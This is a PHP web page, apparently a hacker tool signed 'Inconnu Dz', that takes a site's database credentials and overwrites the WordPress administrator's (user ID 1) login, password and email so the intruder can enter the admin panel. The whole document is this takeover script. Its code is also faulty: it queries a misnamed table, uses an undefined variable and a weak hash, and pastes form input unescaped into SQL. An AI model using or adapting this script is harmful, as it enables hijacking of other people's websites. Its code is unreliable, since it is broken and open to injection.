script Change Password of Admin Wordpress

<html>
<head>
<title>Change Password of Admin Wordpress</title>
<center><font color="red" size="7">Coded By Inconnu Dz</font></center><br><br>
<body bgcolor="black" text="white"><br><br>
<center><font color="green" size="5">### Change Password of Admin Wordpress ###</font></center>
</br><center><br><br> <?php //#Inconnu Dz#//
if (empty($_POST['pwd'])){
echo '<form method="post">
host : <input name="localhost" size="15" value="localhost" type="text">
database : <input name="database" size="15" type="text"><br>
username : <input name="username" size="15" type="text">
password : <input name="password" size="15" type="password"><br>
        <br></br>
Set A New username 4 login : <input name="user" size="15" value="SQL"><br>
Set A New password 4 login : <input name="pwd" size="15" value="SQL"><br>
        <br></br>
<input value="change" name="send" type="submit">
</form>';
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$user = $_POST['user'];
$pwd = $_POST['pwd'];

           @mysql_connect($localhost,$username,$password) or die (mysql_error ());
           @mysql_select_db($database) or die (mysql_error ());

$hash = crypt($pwd);
$dz1=@mysql_query("UPDATE wp_user SET user_login ='".$user."' WHERE ID = 1");
$dz1=@mysql_query("UPDATE wp_user SET user_pass ='".$hash."' WHERE ID = 1");
$dz1=@mysql_query("UPDATE wp_user SET user_login ='".$user."' WHERE ID = 1");
$dz1=@mysql_query("UPDATE wp_user SET user_pass ='".$hash."' WHERE ID = 1");
$dz1=@mysql_query("UPDATE wp_user SET user_login ='".$user."' WHERE ID = 1");
$dz1=@mysql_query("UPDATE wp_user SET user_email ='".$SQL."' WHERE ID = 1");
if ($dz1) {
echo '<b>Success :now use a new user and pass 2 login in the admin panel</b><br><br>';
}

}

?> </center><br></br>
<br><br><center><a href="https://www.facebook.com/ghost.attack.dz" class="style2"><font color="green" size="4" face="impact">Connect :p :</a><center>
</html>